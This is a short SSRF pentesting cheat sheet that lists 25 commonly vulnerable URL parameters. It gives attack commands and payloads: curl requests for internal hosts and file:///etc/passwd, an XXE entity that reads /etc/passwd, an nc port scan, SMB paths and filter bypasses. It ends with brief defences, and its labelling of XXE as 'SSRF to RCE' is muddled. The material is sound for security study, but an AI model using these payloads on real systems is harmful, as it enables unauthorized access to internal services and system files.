Top SSRF Parameters for Security Testing

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Server-Side Request Forgery (SSRF) is a critical web vulnerability that allows attackers to induce the server to make unauthorized requests. Below are the top 25 SSRF parameters often exploited in security testing:

1. `?dest={target}`

2. `?redirect={target}`

3. `?uri={target}`

4. `?path={target}`

5. `?continue={target}`

6. `?url={target}`

7. `?window={target}`

8. `?next={target}`

9. `?data={target}`

10. `?reference={target}`

11. `?site={target}`

12. `?html={target}`

13. `?val={target}`

14. `?validate={target}`

15. `?domain={target}`

16. `?callback={target}`

17. `?return={target}`

18. `?page={target}`

19. `?feed={target}`

20. `?host={target}`

21. `?port={target}`

22. `?to={target}`

23. `?out={target}`

24. `?view={target}`

25. `?dir={target}`

You Should Know: Practical SSRF Testing

1. Testing SSRF with cURL

curl -v "http://vulnerable-site.com/?url=http://internal-server.local"

This checks if the server fetches internal resources.

2. Using Burp Suite for SSRF

  • Intercept a request with a suspicious parameter.
  • Modify the parameter to an internal IP (e.g., `http://192.168.1.1`).
    – Observe if the server responds with internal data.

    3. Bypassing SSRF Filters

    – Use URL encoding: `http://127.0.0.1` → `http:%2F%2F127.0.0.1`

  • Use DNS rebinding: `http://attacker-controlled-domain.tld` (pointing to an internal IP).

4. SSRF to RCE (Remote Code Execution)

If the server processes XML:

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<foo>&xxe;</foo>

5. Linux Commands for SSRF Exploitation

  • Check open ports: 
    nc -zv 127.0.0.1 22
  • Fetch internal files via SSRF: 
    curl "http://vulnerable.com/?file=file:///etc/passwd"

6. Windows SSRF Testing

  • Access SMB shares: 
    http://vulnerable.com/?path=\\192.168.1.100\share\file.txt

7. Automating SSRF with ffuf

ffuf -u "http://target.com/FUZZ" -w ssrf_params.txt -fs 0

Courses for Advanced SSRF Exploitation

  1. Advanced Web Hacking
  2. Ethical Hacking Masterclass
  3. Penetration Testing Pro

What Undercode Say

SSRF remains a high-risk vulnerability due to misconfigured server permissions. Always test for SSRF in:
– Cloud metadata endpoints (169.254.169.254).
– Internal APIs (http://localhost:8080/admin`).
- File protocol (file:///etc/passwd`).

Defensive Measures:

  • Restrict outbound requests.
  • Use allowlists for URLs.
  • Disable dangerous protocols (file://, gopher://).

Expected Output:

A well-tested SSRF vulnerability report with exploited parameters, bypass techniques, and mitigation steps.

Relevant URLs:

References:

Reported By: Zlatanh Top – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

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